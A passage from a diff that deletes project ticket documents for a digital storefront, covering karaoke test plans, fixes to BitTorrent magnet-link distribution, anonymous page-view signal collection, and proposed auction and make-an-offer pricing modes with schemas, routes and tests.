| `make_post_sell/tests/test_integration.py` | End-to-end run record write/read; backfill idempotency |
| `make_post_sell/tests/test_functional.py` | Health endpoint auth, JSON shape, settings page renders card |
## Tests
### Unit (`test_models.py`)
- `MpsKaraokeRun.is_running` / `is_success` / `is_failed` properties
- `MpsKaraokeRun.duration_ms` calculated from start/finish timestamps
- `Shop.karaoke_eligible` returns `True` only when both unsandbox keys set
- `Shop.karaoke_health_summary` returns dict matching health endpoint shape
### Integration (`test_integration.py`)
- Backfill skips products with fresh karaoke URLs (idempotency)
- Failed run leaves `status=failed` and populated `error_message`
- Concurrent runs respect shop unsandbox concurrency limit
- BYOB: outputs land in shop's bucket, not MPS default
### Functional (`test_functional.py`)
- `GET /s/{shop_id}/karaoke-health` — anon 403, non-owner 403, owner 200 JSON
- Health JSON includes all keys above; numbers match seeded fixtures
- Shop settings page renders karaoke health card with correct current status
- `POST /karaoke/{product_id}` — anon 403, owner 200 + run row created
- Backfill button POST creates run rows for eligible products only
## Verification
1. `source vars.sh && make test` — all pass
2. Local dev: configure unsandbox keys, upload an audio product, click karaoke
button, watch run row write, watch URLs populate, watch player toggle work
3. Health endpoint reflects each step (running → success)
4. Force a failure (revoke creds mid-run) — `status=failed`, error captured
5. Push → CI green → deploy → check `https://my.makepostsell.com/version`
6. Bump GIT_HASH, push, verify

187
docs/tickets/mps-19.md
View file

@ -1,187 +0,0 @@
# MPS-19: BitTorrent / Magnet Link Mode — Diagnose & Fix Distribution
## Status
**BROKEN in production.** Schema and code paths exist:
- `mps_shop.torrent_enabled` (Boolean) — shop-level toggle
- `mps_product.torrent_opt_in` (Boolean) — per-product opt-in
- `mps_product.torrent_magnet_link` + `torrent_file_url` columns
- `make_post_sell/lib/torrent.py` — bundle + .torrent generation pipeline
- Migrations `0ee5654cfe7d_*` and `c0236e351476_torrent_distribution_support.py`
- Backfill route `/s/{shop_id}/torrent-backfill-status`
What does **not** work end-to-end: opting a public product in does not yield
a populated magnet link or a `bundle.torrent` reachable on the CDN. Listeners
never see a magnet button. Files never seed.
## Problem
The torrent path has more moving parts than karaoke. Each is a candidate
break point:
1. Opt-in only fires for `visibility=1` (public). Off for unlisted/private.
2. Bundle assembly downloads source + thumbnails + description.md from S3
into a temp dir — a single missing fetch leaves an incomplete bundle
3. `torf.Torrent` builds multi-file `.torrent` with web seeds (BEP 19) and
trackers (BEP 12) — wrong web-seed URL = no seeders forever
4. `.torrent` upload back to S3 at `{s3_path}/bundle.torrent` — must use
shop-aware client, not MPS default
5. Magnet link derived from info hash + display name + trackers + web seeds
6. DB write of `torrent_magnet_link` + `torrent_file_url` is the user-visible
commit — if it fails silently, every step before it was wasted
7. Free content vs paid product bundles differ — paid never includes the
paid file (preview only). A copy-paste defect here = piracy via opt-in
## Diagnosis Required
Same fail-loud principle as MPS-18. Add an `MpsTorrentRun` row per attempt.
| Probe | Expected | Actual |
|-------|----------|--------|
| Shop `torrent_enabled=True` | yes | ? |
| Product `torrent_opt_in=True` AND `visibility=1` | yes | ? |
| Bundle dir contains source + thumbs + description.md | full set | ? |
| `.torrent` bytes generated by `torf.Torrent` | non-zero | ? |
| `.torrent` uploaded to shop bucket at `{s3_path}/bundle.torrent` | object exists | ? |
| Web seed URL in `.torrent` matches CDN URL of source file | exact match | ? |
| `torrent_magnet_link` column populated with `magnet:?xt=urn:btih:...` | string | ? |
| `torrent_file_url` column populated with CDN URL of `.torrent` | string | ? |
| Watch JSON / content / product templates surface magnet button | rendered | ? |
| Magnet link opens in BitTorrent client and pulls bundle | swarm fetches bundle | ? |
## Proposal
### 1. Persist run state — `MpsTorrentRun` table
| Column | Type | Purpose |
|--------|------|---------|
| `id` | UUID | row id |
| `shop_id` | UUID FK | shop |
| `product_id` | UUID FK | product |
| `started_timestamp` | int (ms) | run start |
| `finished_timestamp` | int (ms) nullable | run end |
| `status` | int | 0=running 1=success 2=failed 3=cancelled |
| `step` | str | last completed step |
| `error_message` | UnicodeText nullable | failure detail |
| `info_hash` | str(40) nullable | hex info hash on success |
| `bundle_bytes` | int nullable | total bundle size |
### 2. Verify paid-product safety
Add explicit unit test: paid product (`is_sellable=True`) bundle includes
`preview.{ext}` and never the source file. Bundle assembly must read
`product.is_sellable` and pick the right path. Single boolean defect here
ships the paid file as freely-seedable. Test guards this.
### 3. Web seed URL correctness
The web seed URL inside `.torrent` is the **CDN** URL (public, no
presigning). For shops using BYOB, that's `request.shop_cdn_endpoint`,
not the MPS default CDN. Confirm `lib/torrent.py` uses the shop-aware
endpoint when building the torrent metadata.
### 4. Backfill UX
Existing `/s/{shop_id}/torrent-backfill-status` is a status endpoint.
Add a backfill button to settings that POSTs `form_section=backfill-torrent`
into `views/shop.py`. Concurrency-bound. Idempotent (skip products with
populated `torrent_magnet_link` + fresh mtime).
### 5. UI surface
Magnet button on:
- `templates/product.j2` — under download/CTA area
- `templates/content.j2` — same position
- `templates/snippets/related_content.j2` — small magnet icon next to free items
- Watch mode (`watch.js` `updatePageContent`, `watch.py` JSON)
Button visibility rules:
| Visibility | Sellable | torrent_opt_in | Show magnet? |
|------------|----------|----------------|--------------|
| public (1) | False (free) | True | yes |
| public (1) | True (paid) | True | yes — bundle is preview only |
| unlisted (2) | any | any | **no** |
| private (0) | any | any | **no** |
### 6. Tracker / web-seed strategy
Default `DEFAULT_TRACKERS` list in `lib/torrent.py` is acceptable but
hardcoded — make it shop-configurable via a new column
`mps_shop.torrent_trackers` (Text, newline-separated). NULL = use defaults.
Sites that want their own tracker in front (private tracker, CDN-friendly
tracker) can override.
## Go-to-Market
| Surface | Action |
|---------|--------|
| `docs/torrent-distribution.md` | New: end-to-end pipeline doc with dot diagram (mirror karaoke-pipeline.md) |
| `docs/architecture.md` | Add torrent run table + opt-in matrix to feature toggle matrix |
| `/styleguide` | Magnet button component + torrent health card |
| `~/git/www.makepostsell.com/index.html` | Feature card: "BitTorrent distribution. Web seeds. No friction. Free your bandwidth bill." |
| `~/git/www.makepostsell.com/pricing.html` | Note torrent included on plans that include uploads |
| Shop settings UI | Torrent health card + tracker config + backfill button |
## Files
| File | Change |
|------|--------|
| `make_post_sell/models/torrent_run.py` | New: `MpsTorrentRun` |
| `make_post_sell/models/__init__.py` | Import |
| `make_post_sell/models/meta.py` | Register |
| `make_post_sell/models/shop.py` | Add `torrent_trackers` (Text, nullable) |
| `make_post_sell/lib/torrent.py` | Persist run rows; shop-aware CDN; paid/free bundle branching with explicit tests |
| `make_post_sell/views/shop.py` | `backfill-torrent` form section handler; torrent health endpoint |
| `make_post_sell/views/product.py` | Trigger torrent generation on opt-in flip + visibility=public |
| `make_post_sell/views/watch.py` | Surface `torrent_magnet_link` + `torrent_file_url` in watch JSON |
| `make_post_sell/routes.py` | Add `/s/{shop_id}/torrent-health` |
| `make_post_sell/templates/shop_settings.j2` | Torrent health card + tracker config + backfill button |
| `make_post_sell/templates/product.j2` | Magnet button (server-rendered) |
| `make_post_sell/templates/content.j2` | Magnet button (server-rendered) |
| `make_post_sell/templates/snippets/related_content.j2` | Small magnet icon |
| `make_post_sell/static/js/watch.js` | `updatePageContent` swaps magnet href on SPA nav |
| `make_post_sell/scripts/alembic/versions/XXXX_torrent_runs_and_trackers.py` | Migration |
| `make_post_sell/tests/test_models.py` | `MpsTorrentRun` + visibility/opt-in matrix |
| `make_post_sell/tests/test_integration.py` | End-to-end bundle generation; paid vs free; BYOB |
| `make_post_sell/tests/test_functional.py` | Magnet button render rules; backfill POST; health endpoint auth |
## Tests
### Unit (`test_models.py`)
- `Product.show_magnet_button` matrix — 8 combinations (visibility × sellable × opt_in)
- `Product.torrent_bundle_paths` returns preview path for paid, source for free
- `MpsTorrentRun` status helpers
- `Shop.effective_trackers` — falls back to `DEFAULT_TRACKERS` when column NULL
### Integration (`test_integration.py`)
- Free content opt-in: bundle includes source + thumbs + description.md
- Paid product opt-in: bundle includes **preview** + thumbs + description.md, **never** source
- Web seed URL inside `.torrent` matches shop's CDN endpoint (BYOB-aware)
- Magnet link round-trip: `torf` parses our generated magnet and returns same info hash
- Backfill skips products with populated `torrent_magnet_link` + fresh mtime
- Failed run leaves status=failed + populated error_message; does not corrupt product columns
### Functional (`test_functional.py`)
- Toggling `torrent_opt_in` on a public product fires generation (run row created)
- Toggling on private/unlisted product does **not** fire
- Magnet button renders on public product, not on private/unlisted
- Backfill button POST creates run rows for eligible products only
- Anon `GET /s/{shop_id}/torrent-health` → 403; owner → 200 JSON
- Watch JSON includes `torrent_magnet_link` + `torrent_file_url` when populated
## Verification
1. `source vars.sh && make test` — all pass
2. Local dev: enable `torrent_enabled` on shop, opt-in a public free product,
confirm `bundle.torrent` lands in bucket and magnet link populates
3. Open magnet link in a real BitTorrent client, watch it pull bundle from
web seeds (no peers needed for first download)
4. Repeat for paid product — confirm bundle has preview file, **not** source
5. Force a failure (revoke S3 creds mid-run) — run row reflects failure
6. Push → CI green → deploy → bump GIT_HASH

294
docs/tickets/mps-2.md
View file

@ -1,294 +0,0 @@
# MPS-2: Anonymous Signal Gathering & View Count
## Philosophy
Collect every honest signal we can about how people experience content —
without recording who they are. No cookies, no IPs, no fingerprints, no user
agent strings. A viewer's identity is never captured. Only the aggregate truth
of what happened on the page.
The raw signals feed four derived scores: **Engagement**, **Attention**,
**Learning**, and **Passive Consumption**. These scores are computed from simple
math now and can be refined with machine learning later — the raw data is the
same either way.
A **view** counts after 7 seconds of wall-clock time on the page with the tab
visible. This respects all four pillars: truthful (they were really here), free
(no judgment on how they consume), harmonious (same bar for a 30-second clip
and a 2-hour film), and loving (assumes good intent from the visitor).
## What We Collect
All signals are gathered in JavaScript memory during a page session and sent as
a single JSON summary via `navigator.sendBeacon()` on page unload. One beacon
per page visit. Nothing streams, nothing phones home mid-session.
### Presence Signals
| Signal | How | Why |
|--------|-----|-----|
| `wall_clock_ms` | `Date.now()` delta from page load to unload | Total time on page |
| `visible_ms` | Page Visibility API (`visibilitychange`) — accumulate time while `visible` | Tab in foreground vs backgrounded |
| `active_ms` | Accumulate time while mouse/touch/keyboard events fire (debounce 2s idle gap) | Human is present and interacting |
| `idle_ms` | `wall_clock_ms - active_ms` | Derived, not tracked separately |
**Mouse/touch activity**: Listen for `mousemove`, `touchstart`, `keydown` —
debounced to a boolean "active" flag that goes idle after 2 seconds of silence.
We track **whether** the user is active, never **where** on the page. No
coordinates, no element targets.
### Scroll Signals
| Signal | How | Why |
|--------|-----|-----|
| `scroll_depth_max` | `window.scrollY / document.body.scrollHeight` — track max (0.0-1.0) | How far down the page they went |
| `scroll_direction_changes` | Count sign changes in scroll delta | Reading (few reversals) vs scanning (many) |
### Media Playback Signals
Piggyback on existing `timeupdate`, `play`, `pause`, `ended`, `seeked`,
`ratechange` events already wired in watch.js.
| Signal | How | Why |
|--------|-----|-----|
| `media_duration_ms` | `media.duration * 1000` on `loadedmetadata` | Length of the content |
| `media_play_ms` | Accumulate time between `play` and `pause`/`ended` events | Actual playback time |
| `media_play_count` | Count `play` events | Replays = love |
| `media_pause_count` | Count `pause` events (user-initiated, not ended) | Interaction with content |
| `media_seek_count` | Count `seeked` events | Skipping around (study or skip?) |
| `media_seek_back_count` | Count seeks where `currentTime` decreased | Rewinding = learning |
| `media_speed` | Last value from `ratechange` event, default 1.0 | 2x = efficient, 0.5x = studying |
| `media_completed` | Boolean: did `ended` event fire at least once | Watched/listened to the end |
| `media_percent_played` | `media_play_ms / media_duration_ms` (can exceed 1.0 on replay) | Completion without judging speed |
### Context Signals (server-side, from the HTTP request)
| Signal | How | Why |
|--------|-----|-----|
| `is_ring_entry` | Boolean: full page load vs SPA transition | Front door vs ring navigation |
| `ring_position` | Integer: how many SPA transitions from entry | Depth in the ring |
| `referrer_class` | Enum: `direct`, `search`, `social`, `internal`, `unknown` | Where traffic comes from — derived from Referer header domain, NOT the full URL |
| `referrer_domain` | String (128 chars) | Referer hostname (e.g. "www.google.com") — added in MPS-6 |
| `referrer_query` | String (256 chars) | Search engine query parameter — added in MPS-6 |
| `device_class` | Enum: `mobile`, `tablet`, `desktop` | Screen size bucket only, not user agent — derived from viewport width sent in beacon |
`referrer_class` is computed server-side by matching the Referer header domain
against known patterns (google/bing/ddg → search, twitter/facebook/reddit →
social, same domain → internal, everything else → unknown). The raw Referer URL
is never stored.
`device_class` is derived from viewport width sent in the beacon payload:
≤768 → mobile, ≤1024 → tablet, else desktop. No user agent parsing.
## Storage
### Per-session table: `mps_page_session`
One row per page visit. This is the raw truth.
```
id UUID PK
shop_id FK → mps_shop
product_id FK → mps_product
created_timestamp BigInteger (ms) — when beacon was received
-- presence
wall_clock_ms Integer
visible_ms Integer
active_ms Integer
-- scroll
scroll_depth_max Float (0.0-1.0)
scroll_direction_changes Integer
-- media
media_duration_ms Integer (NULL if no media)
media_play_ms Integer (NULL if no media)
media_play_count SmallInteger
media_pause_count SmallInteger
media_seek_count SmallInteger
media_seek_back_count SmallInteger
media_speed Float
media_completed Boolean
media_percent_played Float
-- context
is_ring_entry Boolean
ring_position SmallInteger
referrer_class SmallInteger (enum: 0=direct 1=search 2=social 3=internal 4=unknown)
referrer_domain Unicode(128) — extracted domain (e.g. "www.google.com")
referrer_query Unicode(256) — search engine query (e.g. "lo-fi beats")
device_class SmallInteger (enum: 0=mobile 1=tablet 2=desktop)
```
No foreign key to any user/account table. No IP column. No session cookie
column. The row is an anonymous fact about what happened, nothing more.
### Aggregate columns on `mps_product`
Updated asynchronously (on beacon receipt or periodic batch):
- `view_count` (BigInteger, server_default="0") — incremented when a session
hits the 7-second visible threshold
### Retention
Keep individual `mps_page_session` rows for 90 days. After that, aggregate
into `mps_product_daily_stats` (one row per product per day with averages and
sums) and delete the raw sessions. The daily rollup lives forever.
## Derived Scores
Computed from raw signals, either on-read (in Python properties) or in the
daily rollup. These are the creator-facing metrics.
### Engagement (0.0 – 1.0)
```
engagement = active_ms / wall_clock_ms
```
High = clicking, scrolling, pausing, seeking — actively interacting with the
content. Low = tab open but idle. This is the "lean-in" metric.
### Attention (0.0 – 1.0)
```
attention = visible_ms / wall_clock_ms
```
High = tab in foreground the entire time. Low = they switched tabs. Combined
with engagement: high attention + low engagement = focused passive watching.
High attention + high engagement = deeply studying.
### Learning Signal (heuristic score)
Indicators of active study, not passive consumption:
- `media_seek_back_count > 0` — they rewound to re-hear something
- `media_speed < 1.0` — slowed down to absorb
- `scroll_direction_changes > 3` — re-reading sections
- `media_pause_count > 2` — pausing to think or take notes
- `engagement > 0.7` — high interaction throughout
Score: count of true indicators (0-5). A session with 3+ is "learning mode."
### Passive Consumption (heuristic score)
Indicators of lean-back enjoyment:
- `attention > 0.7` — tab is in foreground
- `engagement < 0.3` — but not interacting much
- `media_percent_played > 0.69` — played most/all of the content
- `media_play_count == 1` — straight through, no replays
- `media_pause_count == 0` — never paused
Score: count of true indicators (0-5). A session with 3+ is "passive
consumption" — and this is a GOOD signal. It means the content is worth
playing through without interruption.
### Machine Learning Hook
The raw `mps_page_session` rows are feature vectors. Every field is a number.
When ML is added later, it can:
- Cluster sessions into behavioral profiles beyond the 4 heuristic scores
- Detect anomalies (bot patterns: zero scroll + zero active + high play count)
- Predict which products will retain based on early session patterns
- Surface "hidden gems" — products with high learning/attention scores but
low view counts
The collection schema doesn't change. ML consumes the same rows and produces
richer derived scores that feed into dashboards. The raw truth stays raw.
## View Count Display
Show the human-readable view count on product and content pages, next to the
upload date under the title h1:
```
Track Title
uploaded to ShopName
Created 3 days ago · 420 views
```
### Formatting
- 0: don't show view count at all (no "0 views")
- 1: "1 view"
- 2-999: exact number ("420 views")
- 1,000-999,999: "1.2K views"
- 1,000,000+: "1.8M views"
### Three-layer update (SPA compatibility)
1. **Templates** (`content.j2`, `product.j2`): render in `.product-meta-dates`
2. **watch.py** (`watch_json`): include `view_count` and `human_view_count`
3. **watch.js** (`updatePageContent`): update the view count span during SPA nav
## JavaScript Collector (`signals.js`)
New file. Lightweight, no dependencies. Loaded on all product/content pages.
```
Page load:
→ Record start time
→ Attach debounced mousemove/touchstart/keydown → active flag
→ Attach visibilitychange → accumulate visible_ms
→ Attach scroll → track depth + direction changes
→ Attach media events (play/pause/ended/seeked/ratechange)
→ Generate random session token (in-memory only, never persisted)
Page unload (beforeunload / visibilitychange → hidden):
→ Bundle all signals into JSON
→ POST via navigator.sendBeacon('/signals/beacon')
→ Fallback: fetch() with keepalive: true
```
The beacon payload is ~300 bytes of JSON. One request per page visit. No
polling, no websockets, no streaming.
## Server Endpoint
`POST /signals/beacon` — accepts JSON, validates fields, computes
`referrer_class` from the Referer header, inserts one `mps_page_session` row.
If `visible_ms >= 7000`, also increments `product.view_count`. Returns 204.
Rate limiting: max 1 beacon per product per client per 60 seconds, enforced
by a short-lived server-side cache keyed on `(session_token, product_id)`.
The session token is random per page load — it prevents double-counting
from accidental double-fires, not tracking users across pages.
## Files Changed
| File | Change |
|------|--------|
| `models/page_session.py` | New model: `MpsPageSession` |
| `models/product.py` | Add `view_count` column, `human_view_count` property |
| `models/__init__.py` | Import new model |
| `views/signals.py` | New: beacon endpoint |
| `views/watch.py` | Include `view_count` / `human_view_count` in JSON |
| `views/product.py` | Pass view count to template context |
| `views/content.py` | Pass view count to template context |
| `static/js/signals.js` | New: client-side signal collector |
| `templates/content.j2` | Show view count in `.product-meta-dates` |
| `templates/product.j2` | Show view count in `.product-meta-dates` |
| `templates/snippets/base_styles.j2` | Load signals.js on product pages |
| `static/js/watch.js` | Update view count in `updatePageContent()` |
| `scripts/alembic/versions/` | Migration: `mps_page_session` table + `view_count` column |
| `tests/test_functional.py` | Beacon endpoint tests, view count display tests |
| `tests/test_models.py` | `human_view_count` formatting tests |
## What This Does NOT Collect
- IP addresses
- User agent strings (device class is viewport width only)
- Cookies or persistent identifiers
- Mouse/touch coordinates
- Clicked element identifiers
- Any form input content
- Referrer URLs (only domain + search query parameter — see MPS-6)
- Cross-page session linking (each page visit is an island)
A viewer could visit every product in a shop and there would be no way to
connect those visits to the same person. That is by design.

300
docs/tickets/mps-20.md
View file

@ -1,300 +0,0 @@
# MPS-20: Auction House Mode (eBay-style Bidding)
## Status
**PROPOSED — does not exist.** Today every product has a fixed `price` column.
No code path supports rising-price bidding, reserve prices, soft-close
extensions, or proxy bidding.
## Why This Belongs in MPS
MPS already owns:
- Product lifecycle (visibility, ownership, downloads)
- Shop settings + form-section pattern
- Cart + checkout pipeline (Stripe / PayPal / crypto / gift cards)
- Comments + watch mode + SPA navigation
- Email notifications
An auction is a product whose price function is `max(bids)` instead of a
constant. We extend, not rebuild. Same checkout. Same payouts. Same fees.
## Modes
A shop owner toggles per product:
| `pricing_mode` | Behavior |
|----------------|----------|
| 0 (fixed) | Today's behavior — buy now at `price` |
| 1 (auction) | Rising bids until end timestamp; winner pays high bid |
| 2 (auction + buy_now) | Both paths live; buy-now ends the auction immediately |
| 3 (offer) | See MPS-21 — make-an-offer mode |
This ticket covers modes 1 and 2. MPS-21 covers mode 3.
## State Machine
```
┌──────────┐
│ draft │ owner editing, not visible
└────┬─────┘
│ schedule
▼
┌──────────┐
│scheduled │ visible, countdown to start
└────┬─────┘
│ start_timestamp passes
▼
┌──────────┐ bid placed
│ active │ ◄──────────┐
└────┬─────┘ │
│ │
end_timestamp │ ┌────────────┴────────┐
passes │ │ soft-close: bid in │
no buy_now │ │ last N seconds │
▼ │ extends end by N │
┌──────────┴┐
│ ended │ winner determined; payment window opens
└────┬──────┘
│ winner pays via cart
▼
┌──────────┐
│ settled │ funds captured, product transferred
└──────────┘
Side branches:
active --buy_now-→ ended (winner = buy_now buyer; bid refunds n/a)
ended --no-pay-→ relisted or default-to-second-bidder (configurable)
any --cancel-→ cancelled (owner action; pre-active only without admin override)
```
## Models
### `MpsAuction`
| Column | Type | Purpose |
|--------|------|---------|
| `id` | UUID | row id |
| `product_id` | UUID FK unique | one auction per product |
| `shop_id` | UUID FK | shop |
| `state` | int | 0=draft 1=scheduled 2=active 3=ended 4=settled 5=cancelled |
| `start_timestamp` | int (ms) | when bidding opens |
| `end_timestamp` | int (ms) | when bidding closes (extended by soft-close) |
| `original_end_timestamp` | int (ms) | scheduled close; never updated |
| `start_price_in_cents` | int | minimum opening bid |
| `reserve_price_in_cents` | int nullable | hidden floor; below = no winner |
| `buy_now_price_in_cents` | int nullable | mode 2 only |
| `bid_increment_in_cents` | int | min step between bids; default 5% of current high |
| `soft_close_seconds` | int | default 60; bid in last N → extend end by N |
| `winner_user_id` | UUID FK nullable | populated when state=ended |
| `winning_bid_id` | UUID FK nullable | populated when state=ended |
| `payment_deadline_timestamp` | int (ms) nullable | winner-pay-by; default end + 48h |
| `currency` | str(3) | inherits shop default |
### `MpsBid`
| Column | Type | Purpose |
|--------|------|---------|
| `id` | UUID | row id |
| `auction_id` | UUID FK | auction |
| `bidder_user_id` | UUID FK | bidder |
| `amount_in_cents` | int | actual bid amount (proxy bidding fills up) |
| `max_proxy_in_cents` | int | bidder's secret max; proxy auto-bids up to this |
| `created_timestamp` | int (ms) | bid placement |
| `outbid_timestamp` | int (ms) nullable | when this bid was passed |
| `is_winning` | bool | true for current high bid only |
### `MpsAuctionWatcher`
| Column | Type | Purpose |
|--------|------|---------|
| `id` | UUID | row id |
| `auction_id` | UUID FK | auction |
| `user_id` | UUID FK | watcher |
| `created_timestamp` | int (ms) | when added |
| `notify_on_outbid` | bool | default True |
| `notify_on_ending_soon` | bool | default True (1h, 5min) |
## Views / Routes
```
GET /a/{auction_id} auction page (live)
GET /a/{auction_id}.json auction state poll (1s for active, 10s for scheduled)
POST /a/{auction_id}/bid place bid (form_section=bid)
POST /a/{auction_id}/buy-now buy-now (mode 2)
POST /a/{auction_id}/watch toggle watcher
POST /a/{auction_id}/cancel owner cancel (pre-active only)
GET /s/{shop_id}/auctions owner's auction dashboard
POST /s/{shop_id}/products/{id}/auction create or update auction (form_section=auction)
GET /u/{user_id}/auctions user's bids + watches
```
State transitions (`scheduled → active → ended`) run via a periodic job —
add a tick to the existing background task system (or a new
`scripts/auction_tick.py` cron). On settled-by-payment, the cart's normal
post-payment hooks already do product transfer; no new path.
## Soft-Close Algorithm
```python
def place_bid(auction, bidder, amount, max_proxy):
now = now_ms()
if auction.state != STATE_ACTIVE:
raise BidRejected("auction not active")
if amount < (auction.current_high + auction.bid_increment_in_cents):
raise BidRejected("bid too low")
bid = MpsBid(auction_id=auction.id, bidder_user_id=bidder.id,
amount_in_cents=amount, max_proxy_in_cents=max_proxy)
DBSession.add(bid)
_resolve_proxy(auction, bid) # auto-bid against existing max_proxy bids
if (auction.end_timestamp - now) < (auction.soft_close_seconds * 1000):
auction.end_timestamp = now + (auction.soft_close_seconds * 1000)
notify_outbid(auction) # email + watcher inbox
```
Pure-function `_resolve_proxy` — unit-testable in isolation, no DB hit
beyond bid insert. Tarjan-style: handle the bid + proxy chain in a single
pass (no O(N²) loop over all bids).
## Cart Integration
When `state=ended` and `winner_user_id` matches the request user, the
auction product appears in cart at `winning_bid.amount_in_cents`. Existing
checkout (`views/cart.py`) handles payment + transfer. After cart success
hook, set `auction.state=4` (settled).
If `payment_deadline_timestamp` passes without payment, run a settle-task:
- Default: relist to second-highest bidder at their bid price (configurable
`auction_default_to_second_bidder` shop setting)
- Alternative: cancel + return to seller (auctioneer chooses)
## Form Section
Add `auction` to `form_section` routing in `views/product.py`:
| field | purpose |
|-------|---------|
| `pricing_mode` | 0/1/2/3 |
| `auction_start_timestamp` | datetime-local input → ms |
| `auction_end_timestamp` | datetime-local input → ms |
| `start_price` | dollars → cents |
| `reserve_price` | dollars → cents (nullable) |
| `buy_now_price` | dollars → cents (mode 2 only) |
| `bid_increment` | dollars → cents |
| `soft_close_seconds` | int |
## Notifications
Email + on-site:
- Bid received (to seller)
- Outbid (to previous high bidder)
- Auction ending in 1h / 5min (to watchers + bidders)
- Won — pay by `{deadline}` (to winner)
- Lost (to underbidders)
- Payment received / settled (to seller + winner)
## Anti-Abuse
- Rate limit `POST /a/{id}/bid` — 1 bid per bidder per second
- Min bidder account age (configurable per shop, default 0 = open)
- Min cart history (configurable, default 0)
- Block self-bid (bidder_user_id == seller_user_id) at form layer
- Reserve-not-met UX: show "reserve not met" indicator without leaking
reserve price
## Go-to-Market
| Surface | Action |
|---------|--------|
| `docs/auction-house.md` | New: state machine + dot diagram + APIs |
| `docs/architecture.md` | Add auction tables + pricing_mode to feature matrix |
| `/styleguide` | Bid form, countdown clock, reserve indicator, watcher toggle, soft-close pulse |
| `~/git/www.makepostsell.com/index.html` | Feature card: "Run auctions. Reserve prices, soft-close, proxy bids. Same payments, same fees." |
| `~/git/www.makepostsell.com/pricing.html` | Auction mode listed in plan includes |
| Marketing copy | Position: commission-free auctions vs. eBay's 13.25% final value fee |
## Files
| File | Change |
|------|--------|
| `make_post_sell/models/auction.py` | New: `MpsAuction`, `MpsBid`, `MpsAuctionWatcher` |
| `make_post_sell/models/__init__.py` | Imports |
| `make_post_sell/models/meta.py` | Register all three tables |
| `make_post_sell/models/product.py` | Add `pricing_mode` (Integer, default=0), `auction` relationship |
| `make_post_sell/models/cart.py` | Auction-product cart line item handling |
| `make_post_sell/views/auction.py` | New: all auction route handlers |
| `make_post_sell/views/product.py` | `form_section=auction` handler |
| `make_post_sell/views/cart.py` | Recognize auction-won line item; price = winning bid |
| `make_post_sell/views/shop.py` | `auctions_dashboard` view |
| `make_post_sell/lib/auction.py` | Pure-function bid resolution + proxy + soft-close logic |
| `make_post_sell/lib/auction_tick.py` | Scheduled state transitions + ending-soon notifications |
| `make_post_sell/lib/email_notifications.py` | Auction email templates |
| `make_post_sell/routes.py` | All auction routes |
| `make_post_sell/templates/auction.j2` | Live auction page |
| `make_post_sell/templates/auctions_dashboard.j2` | Owner dashboard |
| `make_post_sell/templates/product_edit.j2` | Auction config form section |
| `make_post_sell/templates/styleguide.j2` | Component examples |
| `make_post_sell/static/js/auction.js` | Live countdown, bid form, soft-close pulse, JSON poll |
| `make_post_sell/static/css/common.css` | Auction component styles (tokens-only) |
| `make_post_sell/scripts/alembic/versions/XXXX_auction_tables.py` | Migration with `_table_exists` + `_column_exists` guards |
| `make_post_sell/scripts/auction_tick.py` | CLI entry point for cron |
| `make_post_sell/tests/test_models.py` | Unit tests |
| `make_post_sell/tests/test_integration.py` | Integration tests |
| `make_post_sell/tests/test_functional.py` | Functional tests |
## Tests
### Unit (`test_models.py`)
- `MpsAuction` state helpers (`is_active`, `is_ended`, `time_remaining_ms`)
- `MpsAuction.current_high` returns max bid amount
- `MpsAuction.reserve_met` boolean
- `MpsBid.is_winning` flag flips correctly
- `lib/auction._resolve_proxy` — proxy bidding outcomes:
- solo proxy bid: bid recorded at start_price + increment
- two competing proxies: high proxy wins at low_proxy + increment
- chained proxies: terminate cleanly, no infinite loop
- Soft-close: bid > N sec from end → no extension; bid < N sec → end pushed
- `Product.is_auction` / `Product.is_buy_now_only` based on `pricing_mode`
### Integration (`test_integration.py`)
- Place bid below increment → rejected; above → accepted; outbid email sent
- Buy-now in mode 2 ends auction, sets winner, refunds bid hold (n/a — no holds)
- Auction ends without bids meeting reserve → no winner; `state=ended`,
`winner_user_id IS NULL`
- Winner pays via cart → `state=settled`; product transfer fires
- Winner does not pay by deadline → second bidder gets the option
(configurable per shop)
- Watcher receives ending-soon email at 1h and 5min before end
- BYOB: auction cover/preview images use shop bucket
- `auction_tick` job: scheduled → active when `start_timestamp` passes;
active → ended when `end_timestamp` passes
### Functional (`test_functional.py`)
- `GET /a/{id}` renders for anon, signed-in non-bidder, owner, current high bidder
- `POST /a/{id}/bid` — anon → redirect to login; signed in → 200
- `POST /a/{id}/bid` rate limit: 2 bids in 1s → second 429
- `POST /a/{id}/bid` self-bid → 403 with flash message
- `POST /a/{id}/buy-now` — mode 1 → 404; mode 2 → 200, auction ends
- `POST /a/{id}/watch` toggle inserts/removes `MpsAuctionWatcher` row
- `POST /a/{id}/cancel` — pre-active by owner → 200; active by owner → 403
- Owner dashboard `/s/{shop_id}/auctions` lists all states with counts
- Watch mode SPA: navigating between auction products updates auction-specific
elements (current high, time left, bid form `auction_id`)
- `auction.json` endpoint returns full state shape for poll
## Verification
1. `source vars.sh && make test` — all pass
2. Local dev: create draft auction, schedule, watch state → active, place bids
from two browser sessions, observe soft-close extension, end auction,
pay as winner, verify settled state + product transferred
3. Test reserve-not-met path
4. Test second-bidder fallback
5. Email log shows all 6 notification types fire
6. Push → CI green → deploy → bump GIT_HASH
7. Update marketing portal index.html + pricing.html

318
docs/tickets/mps-21.md
View file

@ -1,318 +0,0 @@
# MPS-21: Make-an-Offer Mode
## Status
**PROPOSED — does not exist.** Today every product has a fixed `price`. No
path lets a buyer propose a different price, no path lets a seller counter,
no path lets either party walk away.
## Why This Belongs in MPS
Make-an-offer is the everyday cousin of MPS-20's auction mode. Instead of
many bidders pushing a price up over a fixed window, two parties (one
buyer, one seller) negotiate to a number both accept. Same checkout
pipeline. Same payouts. Same fee math. Different state machine.
Use cases:
- Digital art / commissioned work where price is conversation
- Used / one-of-a-kind physical goods (think Facebook Marketplace, OfferUp)
- B2B catalog items where listed price is starting point
- Soft-launch pricing — let buyers tell you what they'd pay
## Mode
Reuses `pricing_mode` column from MPS-20:
| `pricing_mode` | Behavior |
|----------------|----------|
| 0 (fixed) | Today |
| 1 (auction) | MPS-20 |
| 2 (auction + buy_now) | MPS-20 |
| 3 (offer) | This ticket — buyer proposes, seller counters/accepts/declines |
| 4 (offer + buy_now) | Both — listed price = instant; offer = negotiate |
Modes 3 and 4 add `make_offer_enabled=True` semantics on the product.
## State Machine
```
┌──────────┐
buyer │ open │ product listed, accepting offers
submits ───► └────┬─────┘
│
▼
┌──────────┐
│ pending │ offer waiting on seller
└────┬─────┘
┌─────────────┼──────────────┬─────────────┐
│ │ │ │
▼ ▼ ▼ ▼
